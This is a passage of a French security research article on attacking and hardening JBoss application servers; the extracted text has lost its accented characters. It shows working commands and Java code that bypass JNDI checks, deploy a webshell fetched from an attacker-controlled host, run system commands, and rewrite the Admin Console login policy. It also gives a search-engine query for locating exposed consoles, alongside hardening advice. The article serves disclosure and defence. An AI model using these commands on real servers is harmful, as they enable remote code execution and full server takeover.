De ces lments, un outil crit en Java a t dvelopp permettant danalyser les ee e ee e e changes entre le client et le serveur : e
$ ./rmioverhttpinvoker.sh -h Usage: RmiOverHttpInvoker [options] -j, --jndi URL The JNDI URL to use (Default is http://localhost:8080/invoker/JNDIFactory). -a, --adaptor adaptor The adaptor to use (Default is /jmx/invoker/HttpAdaptor). -m, --mbean MBean The MBean to call. --action action_name The action to perform (get or invoke). --get-attribut attribut The attribute to retrieve (with get action). --invoke-operation operation The operation to call (with invoke action). --invoke-parameters parameters The operation parameters (with invoke action). --invoke-signature signature The operation signature (with invoke action) (Default is java.lang.String). $ ./rmioverhttpinvoker.sh \ > -j http://www.cible.hsc.fr:8080/invoker/JNDIFactory \ > -a /jmx/invoker/HttpAdaptor \ > -m jboss.system:type=ServerInfo \ > --action get --get-attribut OSVersion 2.6.24-19-generic

Dun point de vue rseau, la communication peut se rsumer par trois changes e e e HTTP que la gure 14 illustre. Si maintenant sur notre serveur JBoss de test lencapsulation HTTP est dsactive, e e en commentant la partie concerne, il nest plus possible daccder aux MBeans car e e lHttpAdaptor nest semble-t-il plus disponible :

32

R. Dubourguais

Fig. 14. Capture Wireshark des changes HTTP. e

$ ./bash rmioverhttpinvoker.sh \ > -j http://www.cible.hsc.fr:8080/invoker/JNDIFactory \ > -a /jmx/invoker/HttpAdaptor \ > -m jboss.system:type=ServerInfo \ > --action get \ > --get-attribut OSVersion Exception in thread "main" javax.naming.NameNotFoundException: HttpAdaptor not bound

La capture rseau des changes montre galement que lexception est leve lors e e e e du deuxi`me change (cf. gure 15). e e

Fig. 15. Capture Wireshark des changes HTTP apr`s dsactivation. e e e

Pour garder la possibilit dobtenir une instance de lobjet MBeanServerConnection, e malgr la dsactivation de cette fonctionnalit dans la conguration, il est donc e e e ncessaire de contourner les deux premiers changes, cest-`-dire quil faut tre cae e a e pable de gnrer lobjet MBeanServerConnection a lidentique de celui gnr par le e e ` e ee serveur, mais localement. En dautres termes, il est ncessaire deectuer le travail e que le serveur est cens faire a notre place avant linvocation a proprement parler e ` ` du MBean. Lorsque quune requte de rsolution est envoye ` JBoss pour rsoudre lAdaptor e e e a e /jmx/invoker/HttpAdaptor, le serveur utilise le chier de gestion des Invokers JBOSS_SERVER/deploy/jmx-invoker-service.xml pour crer lobjet associ. Pour e e cet Adaptor, le serveur utilise la portion dXML suivante :
<!-- Expose the jmx invoker service interface via HTTP --> <mbean code="org.jboss.invocation.http.server.HttpProxyFactory" name="jboss.jmx:type=adaptor,name=Invoker,protocol=http,service=proxyFactory"> <attribute name="InvokerURL">http://192.168.111.107:8080/invoker/JMXInvokerServlet</attribute> <!-- The target MBean is the InvokerAdaptorService configured below --> <depends optional-attribute-name="InvokerName">jboss.jmx:type=adaptor,name=Invoker</depends> <attribute name="ExportedInterface">org.jboss.jmx.adaptor.rmi.RMIAdaptorExt</attribute> <attribute name="JndiName">jmx/invoker/HttpAdaptor</attribute>

JBoss AS : exploitation et scurisation e

33

<attribute name="ClientInterceptors"> <interceptors> <interceptor>org.jboss.proxy.ClientMethodInterceptor</interceptor> <interceptor>org.jboss.proxy.SecurityInterceptor</interceptor> <interceptor> org.jboss.jmx.connector.invoker.client.InvokerAdaptorClientInterceptor </interceptor> <interceptor>org.jboss.invocation.InvokerInterceptor</interceptor> </interceptors> </attribute> </mbean>

Lobjectif est donc de traduire cette portion dXML en Java pour gnrer lobjet e e MBeanServerConnection localement. Apr`s de longues recherches au sein de la doe cumentation et de la Javadoc de JBoss, le code suivant a permis de gnrer lobjet e e nal :
Object cacheID = null; ObjectName targetName = new ObjectName("jboss.jmx:type=adaptor,name=Invoker"); Invoker invoker = new HttpInvokerProxy(url); String jndiName = null; String proxyBindingName = null; ArrayList interceptorClasses = new ArrayList(); interceptorClasses.add(Class.forName("org.jboss.proxy.ClientMethodInterceptor")); interceptorClasses.add(Class.forName("org.jboss.proxy.SecurityInterceptor")); interceptorClasses.add(Class.forName( "org.jboss.jmx.connector.invoker.client.InvokerAdaptorClientInterceptor")); interceptorClasses.add(Class.forName("org.jboss.invocation.InvokerInterceptor")); ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); Class[] interfaces = new Class[] { Class.forName("org.jboss.jmx.adaptor.rmi.RMIAdaptorExt") }; GenericProxyFactory proxyFactory = new GenericProxyFactory(); MBeanServerConnection server = (MBeanServerConnection) proxyFactory.createProxy( cacheID, targetName, invoker, jndiName, proxyBindingName, interceptorClasses, classLoader, interfaces );

Il est ensuite facile de crer, a partir de ceci, un outil en Java eectuant directee ` ment les invocations des MBeans sur la servlet JMXInvokerServlet en contournant la rsolution JNDI et la gnration de lobjet par le serveur : e e e
$ bash jmxinvoker.sh -h Usage: jmxinvoker.sh [options] -u, --url url -m, --mbean MBeans --action action_name --get-attribut attribut

The The The The

JMX Invoker Servlet URL. MBeans to call. action to perform (get or invoke). attribute to retrieve (with get action).

34

R. Dubourguais

--invoke-operation operation --invoke-parameters parameters --invoke-signature signature

The operation to call (with invoke action). The operation parameters (with invoke action). The operation signature (with invoke action) (Default is java.lang.String).

$ ./jmxinvoker.sh \ > -u http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet \ > -m jboss.system:type=ServerInfo \ > --action get \ > --get-attribut OSVersion 2.6.24-19-generic

Dun point de vue rseau, les deux premiers changes ne sont plus raliss et e e e e linvocation est directement eectue contournant ainsi la vrication de la congue e ration comme le montre la gure 16.

Fig. 16. Capture Wireshark des changes HTTP avec loutil Java. e

Il est donc possible, a partir de l`, dinvoquer a travers HTTP, et sans que la ` a ` conguration de JBoss ne le permette, un MBean arbitraire et par la mme occasion e de dployer une nouvelle application a laide des mthodes vues prcdemment : e ` e e e
$ > > > > > ./jmxinvoker.sh \ -u http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet \ -m jboss.system:service=MainDeployer \ --action invoke \ --invoke-operation deploy \ --invoke-parameters http://p0wned.hsc.fr/WebshellService.sar

$ ./jmxinvoker.sh \ > -u http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet \ > -m hsc:service=HSCWebshell \ > --action invoke \ > --invoke-operation exec \ > --invoke-parameters ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:df:87:a4 inet addr:192.168.111.107 Bcast:192.168.111.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fedf:87a4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1467376 errors:0 dropped:0 overruns:0 frame:0 TX packets:609731 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:838143490 (799.3 MB) TX bytes:183541482 (175.0 MB) Interrupt:17 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:50368 errors:0 dropped:0 overruns:0 frame:0 TX packets:50368 errors:0 dropped:0 overruns:0 carrier:0

JBoss AS : exploitation et scurisation e

35

collisions:0 txqueuelen:0 RX bytes:89148192 (85.0 MB)

TX bytes:89148192 (85.0 MB)

Scurisation : La scurisation de cette vulnrabilit est strictement identique a e e e e ` celle concernant linvocation RMI/JRMP. Ainsi, en xant une authentication sur les Invokers, il ne sera plus possible dinvoquer de MBeans :
$ ./jmxinvoker.sh \ > -u http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet \ > -m jboss.system:type=ServerInfo \ > --action get > --get-attribut OSVersion java.lang.SecurityException: Failed to authenticate principal=null, securityDomain=jmx-console

Il est galement possible deectuer de la scurit en amont en scurisant die e e e rectement lacc`s HTTP a la servlet JMXInvokerServlet. Par dfaut, seules les e ` e URL du type /restricted/* de lapplication invoker.war sont verrouilles, il sut e dtendre cette scurisation a lensemble des ressources de lapplication via ldition e e ` e du chier invoker.war/WEB-INF/jboss-web.xml :
<security-constraint> <web-resource-collection> <web-resource-name>HttpInvokers</web-resource-name> <description>An example security config that only allows users with the role HttpInvoker to access the HTTP invoker servlets </description> <!-- anciennement <url-pattern>/restricted/*</url-pattern> --> <url-pattern>/*</url-pattern> <http-method>GET</http-method> <http-method>POST</http-method> </web-resource-collection> <auth-constraint> <role-name>HttpInvoker</role-name> </auth-constraint> </security-constraint>

En reprenant notre exemple, une erreur HTTP 403 sera retourne lors de lacc`s e e a la servlet : `
$ ./jmxinvoker.sh \ > -u http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet \ > -m jboss.system:type=ServerInfo \ > --action get > --get-attribut OSVersion java.rmi.ServerException: IOE; nested exception is: java.io.IOException: Server returned HTTP response code: 403 for URL: http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet

Il faut galement noter que cette vulnrabilit est exploitable depuis Internet si e e e le serveur JBoss expose son service HTTP contrairement a linvocation RMI/JRMP. ` Il est donc indispensable de bloquer cette porte dentre. e

36

R. Dubourguais

Avis de scurit : Cette vulnrabilit a fait lobjet de plusieurs avis de scurit e e e e e e dont un en fvrier 2010 concernant les quipements IronPort de Cisco, qui eme e barquent maintenant un serveur JBoss [9]. Cette faille permet notamment lexcution e de code arbitraire sur lquipement Cisco et la lecture de chiers sensibles. La seule e ` solution propose tait de supprimer les composants JBoss concerns. . . A lheure e e e actuelle, JBoss 6 (derni`re version en date) permet toujours linterrogation de la e servlet JMXInvokerServlet et le contournement de la rsolution JNDI. e 5.7 Intrusion sur les JBoss 5 et 6

Pr-requis pour lattaquant : e acc`s HTTP ` la page dauthentication de lAdmin Console ; e a acc`s au MBean Server via lune des mthodes prcdentes (optionnel). e e e e Depuis la version 5 de JBoss, toutes ces exploitations sont toujours dactualit, cependant, pour le dploiement dapplication cela se complique. En eet, avec e e lintgration de la notion de Virtual File System (VFS), des restrictions ont t mises e ee en place. Tout dabord, comme mentionn prcdemment, le dploiement dapplication dise e e e tante nest plus possible car larchitecture VFS nimplmente pas le protocole HTTP. e Cette rgression a t souleve par un certain nombre dutilisateurs et pourra peut e ee e ` tre refaire son apparition dans les prochaines versions (donc a surveiller). A lheure e ` actuelle, il nest donc plus possible duploader une application par cette mthode. e Concernant la cration et lexcution de scripts BeanShell a distance, le MBean e e ` concern a t supprim et cette fonctionnalit a t intgre ` larchitecture Vie ee e e ee e e a rual Deployment Framework (VDF). La mthode permettant la cration dun script e e (createScriptDeployment) a donc, par la mme occasion, t supprime, rendant e ee e impossible le dploiement dapplications ` distance via les scripts BeanShell. e a En rsum, les techniques cites prcdemment ne fonctionnent plus sur JBoss 5 e e e e e et suprieur mais le dploiement dapplications ne reste pas impossible. e e JBoss met en place depuis la version 5.1.0, une nouvelle interface dadministration : lAdmin Console qui a dj` t aborde. Cette interface sapparentant ea ee e au Tomcat Manager permet de dployer aisment de nouvelles applications grce e e a a de simples formulaires HTML. Par dfaut, cette interface est accessible ` lURL ` e a http://server/admin-console/ et est protge par un login/mot de passe contraie e rement aux autres a laide du compte admin/admin, permettant au pirate, sil na ` pas t chang, de dployer son application comme bon lui semble (cf. gure 17). ee e e Dploiement dune archive WAR : Un pirate ayant acc`s ` cette interface peut e e a donc dployer lapplication de son choix a condition que celle-ci soit un WAR, EAR, e ` RAR ou JAR. Les archives SAR ne sont pas acceptes par cette application rendant e notre porte drobe inutile ici. Mais, il est toujours possible denvoyer un WAR qui e e

JBoss AS : exploitation et scurisation e

37

Fig. 17. Formulaire dupload dapplication sur lAdmin Console.

sera dploy dans le conteneur web du serveur. Cela nest pas pnalisant car ayant e e e acc`s ` lAdmin Console, il est fort probable que nous aurons galement acc`s a e a e e ` notre nouvelle application (cf. gure 18). Faille dans le ltrage des extensions sur JBoss 5.1.0 : Les tests qui ont pu tre raliss sur cette interface montrent que la vrication de lextension est efe e e e fectue apr`s lupload de larchive sur le serveur et celle-ci nest pas supprime en e e e cas dchec (cf. gure 19). e Ce probl`me de ltrage permet ainsi duploader sur le serveur un chier poss`dant e e nimporte quelle extension outre-passant la restriction. Il est donc possible denvoyer sur le serveur notre chier SAR pour ensuite le dployer via linvocation e du MBean jboss.system:service=MainDeployer (ncessitant un acc`s au MBean e e Server parmi ceux vus prcdemment). Mais ce probl`me peut galement amener e e e e un attaquant ` envoyer des excutables par exemple : a e
$ > > > > > > ./jmxinvoker.sh \ -u http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet \ -m jboss.system:service=MainDeployer \ --action invoke \ --invoke-operation deploy \ --invoke-parameters \ /opt/jboss-5.1.0.GA/server/default/tmp/embjopr/uploads/WebshellService.sar

$ ./jmxinvoker.sh \ > -u http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet \ > -m hsc:service=HSCWebshell \ > --action invoke \ > --invoke-operation exec \ > --invoke-parameters ifconfig eth0 Link encap:Ethernet HWaddr 00:0c:29:df:87:a4 inet addr:192.168.111.107 Bcast:192.168.111.255 Mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fedf:87a4/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1467376 errors:0 dropped:0 overruns:0 frame:0 TX packets:609731 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000

38

R. Dubourguais

Fig. 18. Dploiement dune application web via lAdmin Console. e

Fig. 19. Probl`me de ltrage dextension sur lAdmin Console. e

JBoss AS : exploitation et scurisation e

39

RX bytes:838143490 (799.3 MB) TX bytes:183541482 (175.0 MB) Interrupt:17 Base address:0x2000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:50368 errors:0 dropped:0 overruns:0 frame:0 TX packets:50368 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:89148192 (85.0 MB) TX bytes:89148192 (85.0 MB)

Sur JBoss 6, cette faille a t corrige en supprimant larchive du serveur en cas ee e dchec du dploiement. e e Dverrouillage de lAdmin Console : LAdmin Console est protge par dfaut e e e e par un couple login/mot de passe trivial. Cependant, il peut arriver que ladministrateur ait chang ce compte, rendant lexploitation des comptes par dfaut impossible. e e Le probl`me qui se pose maintenant est que dans JBoss 5 et suprieur, le seul moyen e e que poss`de lattaquant pour envoyer une nouvelle application sur le serveur est de e passer par lAdmin Console. Cependant, tout comme les applications dadministration de JBoss, lAdmin Console utilise les mcanismes internes de JBoss pour raliser lauthentication. Or, e e nous avons vu que ces mcanismes peuvent tre manipuls a chaud a condition e e e ` ` davoir acc`s au MBean Server de JBoss. Cela signie que si lattaquant poss`de un e e acc`s au MBean Server grce ` lune des mthodes dcrites prcdemment, il pourra e a a e e e e alors manipuler la conguration du domaine de scurit de lAdmin Console an de e e le rendre plus permissif. Prenons lexemple dun serveur JBoss AS 5.1.0 avec une Admin Console scurise e e (changement du mot de passe dadministration). Si lattaquant tente dy accder en e utilisant le compte admin/admin, lauthentication chouera (cf. gure 20). e Supposons maintenant que lattaquant soit parvenu ` obtenir un acc`s au MBean a e Server de JBoss, par exemple ` laide de la servlet JMXInvokerServlet. Cet acc`s a e autorise le pirate a manipuler a chaud le domaine de scurit de lAdmin Console ` ` e e (par dfaut le domaine utilis est jmx-console) : e e
$ cat anyone_is_admin.xml <policy> <application-policy name = "jmx-console"> <authentication> <login-module code="org.jboss.security.auth.spi.IdentityLoginModule" flag="required"> <module-option name="principal">hsc</module-option> <module-option name="roles">JBossAdmin</module-option> </login-module> </authentication> </application-policy> </policy>

40

R. Dubourguais

Fig. 20. Echec dauthentication sur lAdmin Console.

$ ./jmxinvoker.sh \ > -u http://www.cible.hsc.fr:8080/invoker/JMXInvokerServlet \ > -m jboss.security:service=XMLLoginConfig \ > --action invoke \ > --invoke-operation loadConfig \ > --invoke-parameters http://192.70.106.85/anyone_is_admin.xml \ > --invoke-signature java.net.URL [jmx-console]

Le domaine de scurit de lAdmin Console ayant t chang pour permettre ` e e ee e a quiconque tentant de se connecter daccder ` lapplication, le pirate pourra acc`der e a e a lAdmin Console quelles que soient les donnes saisies dans le formulaire dauthen` e tication (cf. gure 21). Cet exemple montre parfaitement une vulnrabilit inhrente au fonctionnement e e e de JBoss qui implique que la scurisation dune interface ncessite la scurisation e e e des autres. Dans le cas contraire, ` partir dun point dentre, il est possible a e de dverrouiller les autres par simple modication de la conguration. e Il faut noter galement que, par dfaut, lAdmin Console nest pas prsente sur e e e JBoss 5.0.0 et au moment de la rdaction de cet article cette version est la seule sur e laquelle aucune application malveillante na pu tre dploye. e e e

Scurit primtrique e e e e

Les direntes mthodes de scurisation cites prcdemment concernaient la e e e e e e conguration du serveur JBoss, cependant, il est possible de faire de la scurit en e e amont (cest-`-dire avant datteindre le serveur). a

JBoss AS : exploitation et scurisation e

41

Fig. 21. Acc`s a lAdmin Console apr`s son dverrouillage. e ` e e

6.1

Filtrage de ports

En r`gle gnrale et tout types de serveurs confondus, lune des solutions soue e e vent mises en oeuvre est le ltrage de ports permettant de limiter lexposition du serveur aussi bien en externe quen interne. Dans le cas de JBoss, cette solution peut permettre de rsoudre une partie du probl`me en condamnant lacc`s aux ports fonce e e tionnellement inutiles mais pouvant tre exploits par un pirate. Dautant plus que e e JBoss AS par dfaut ouvre une quantit impressionante de ports (cf. gure 22). e e
Port 1098 1099 3873 4444 4445 4446 8009 8080 8083 8090 8092 8093 Type TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP Service associ e jboss :service=Naming jboss :service=Naming jboss.remoting :type=Connector,name=DefaultEjb3Connector,handler=ejb3 jboss :service=invoker,type=jrmp jboss :service=invoker,type=pooled jboss.remoting :service=Connector,transport=socket jboss.web :service=WebServer jboss.web :service=WebServer jboss :service=WebService jboss.mq :service=InvocationLayer,type=OIL jboss.mq :service=InvocationLayer,type=OIL2 jboss.mq :service=InvocationLayer,type=UIL2

Fig. 22. Liste des ports activs par dfaut sur JBoss AS. e e

Cependant, ce ne sont pas les seuls, en rpertoriant tous les ports qui peuvent e potentiellement tre ouverts suivant la conguration, la liste de la gure 23 sajoute e a la prcdente. ` e e

42

R. Dubourguais

Port 1100 1101 1102 1161 1162 3528 4447 4448 49152 49153

Type TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP

Service associ e jboss :service=HAJNDI jboss :service=HAJNDI jboss :service=HAJNDI jboss.jmx :name=SnmpAgent,service=snmp,type=adaptor jboss.jmx :name=SnmpAgent,service=trapd,type=logger Inconnu jboss :service=invoker,type=jrmpha jboss :service=invoker,type=pooledha jboss :service=$jboss.partition.name :DefaultPartition jboss.cache :service=TomcatClusteringCache

Fig. 23. Liste des ports supplmentaires possibles sur JBoss AS. e

Au nal, ce ne sont pas moins de 22 ports qui peuvent tre ouverts par un sere veur JBoss sans compter ceux propres ` certaines fonctionnalits comme JMS (Java a e Message Service) par exemple. Au moment de la rdaction de larticle, lutilit de certains ports na pas t e e ee clairement dnie et ils peuvent donc tre considrs comme potentiellement exploie e ee tables ; mais un ltrage trop rigoureux peut galement entraver le bon fonctionnee ment du serveur. Lopration de ltrage des ports dun serveur JBoss nest donc pas e triviale et peut ncessiter une tude bien plus approfondie que celle mene pour la e e e rdaction de cette article, an de dterminer lutilit de chaque port ouvert au sein e e e de larchitecture. 6.2 Relai inverse

Concernant lacc`s HTTP et notamment lacc`s illgitime a des interfaces dade e e ` ministration potentiellement exploitables, il est possible de mettre en place un relai inverse intermdiaire. Il faut noter que JBoss embarque un serveur Tomcat pour la e partie web et supporte donc le protocole AJP permettant, par exemple, la mise en place dun serveur Apache en frontal pour le ltrage des URL. Cependant, il faut tout de mme garder ` lesprit que le serveur Tomcat embarqu e a e peut tre galement sujet a des vulnrabilits qui lui sont propres. En particulier, e e ` e e il faut penser ` la srie de vulnrabilits touchant les Tomcat 5 permettant des ata e e e ` taques par Directory Traversal. A lheure actuelle, les serveurs JBoss sont quips e e de Tomcat relativement rcents empchant ce type dattaque [10], mais il est impore e tant de rester attentif aux direntes vulnrabilits pouvant toucher ces serveurs [11]. e e e Nous ne montrerons pas de conguration de serveur JBoss utilisant le protocole AJP car cette conguration reste propre a chaque cas, cependant, une documentation ` compl`te sur le sujet peut tre trouve sur le site de la communaut [12]. e e e e

Conclusion

` A la vue des rsultats obtenus ` la n de ltude qui a t mene pour la rdaction e a e ee e e de cet article, il est assez ais de dire quun serveur JBoss est un lment relativee ee

JBoss AS : exploitation et scurisation e

43

ment critique au sein dune infrastructure (quelque soit sa position) mais que sa scurisation nest pas une opration triviale quil faut prendre ` la lg`re. Nous e e a e e lavons vu, les possibilits oertes a un attaquant sont multiples, de tout ordre et e ` peuvent permettre la compromission totale du serveur. Au cours de ltude, les attaques visaient majoritairement le dploiement dape e plications sur le serveur an dinteragir avec le syst`me dexploitation sous-jacent. e Cependant, une fois une application dploye, les possibilits sont quasi-innies (ree e e bond, envoi de spams, interrogation de bases de donnes, etc.) et cette menace nest e pas a prendre a lg`re. Une confrence sur le sujet a dailleurs t donne ` la JSSI ` ` e e e ee e a 2010 [13]. Bien entendu le niveau de comptence requis varie grandement suivant les teche niques dexploitation, mais ltat de lart des congurations quil est possible de e rencontrer au cours des tests dintrusion, des audits et de la vie courante montre que le processus de scurisation dun serveur JBoss nen est qu` ses dbuts. Cet article a e a e notamment montr des failles parfois complexes a exploiter, mais la ralit est bien e ` e e dirente. Lexploitation de la servlet JMXInvokerServlet nest pour le moment e quun cas dtude plus quautre chose et la compromission dun serveur JBoss passe, e dans la tr`s grande majorit des cas, par une JMX Console non ou mal protge. e e e e Cette ralit ouvre donc des portes aussi bien ` des pirates expriments qu` des e e a e e a amateurs. En 2008, lquipe de la RedTeam a prsent les dirents points qui ont t soue e e e ee levs au cours de cette article montrant par la mme occasion un bilan inquitant sur e e e la profusion des cibles potentielles sur Internet. Une simple requte sur les grands e moteurs de recherche susait a trouver des cibles exploitables. ` Une tude similaire a t ralise an dvaluer lvolution de la situation au e ee e e e e cours de ces deux derni`res annes et les rsultats restent encore tr`s proches de e e e e ceux obtenus, dmontrant une stagnation de la situation. e En guise dexemple, une simple requte sur le moteur de recherche Google du e type inurl:HtmlAdaptor permet dobtenir une liste de plus dune centaine de sites exposant leur JMX Console sur Internet dont des sites gouvernementaux. Dans pr`s e de 100% des cas, au moins lune des exploitations cites prcdemment pourrait e e e potentiellement fonctionner. Dans le cadre de ltude et pour des raisons quil est e facile de comprendre, aucune exploitation sur lun de ces sites na t tente. ee e

Rfrences ee
[1] Site ociel du projet JBoss : http://www.jboss.com/ [2] Site ociel du projet JBoss AS : http://www.jboss.org/jbossas/ [3] Confrence de la RedTeam au Hack.lu, 2008 : http://wiki.hack.lu/index.php/List#Bridging_the_ e Gap_between_the_Enterprise_and_You_-_or_-_Who.27s_the_JBoss_now.3F [4] Documentation de JBoss AS : https://www.jboss.org/community/docs/DOC-12898 [5] Documentation sur limplmentation JMX : http://jcp.org/en/jsr/detail?id=3 e

44

R. Dubourguais

[6] Liste des LoginModule disponible : http://community.jboss.org/wiki/LoginModule [7] Site ociel du projet BeanShell : http://www.beanshell.org/ [8] Mise en place dauthentication par certicat client : http://community.jboss.org/wiki/ basecertloginmodule [9] Avis de scurit e e Cisco cisco-sa-20100210-ironport.shtml IronPort : http://www.cisco.com/warp/public/707/

[10] Liste des versions de Tomcat embarques dans JBoss : http://community.jboss.org/wiki/ e VersionOfTomcatInJBossAS [11] Liste des vulnrabilits connues sur Tomcat : http://tomcat.apache.org/security-6.html et http: e e //tomcat.apache.org/security-5.html [12] Mise en place du UsingModproxyWithJBoss mode AJP sur JBoss : http://community.jboss.org/wiki/

[13] Confrence sur les webshells a la JSSI 2010 : http://www.hsc.fr/ressources/presentations/ e ` jssi2010_webshells/index.html.fr

You might also like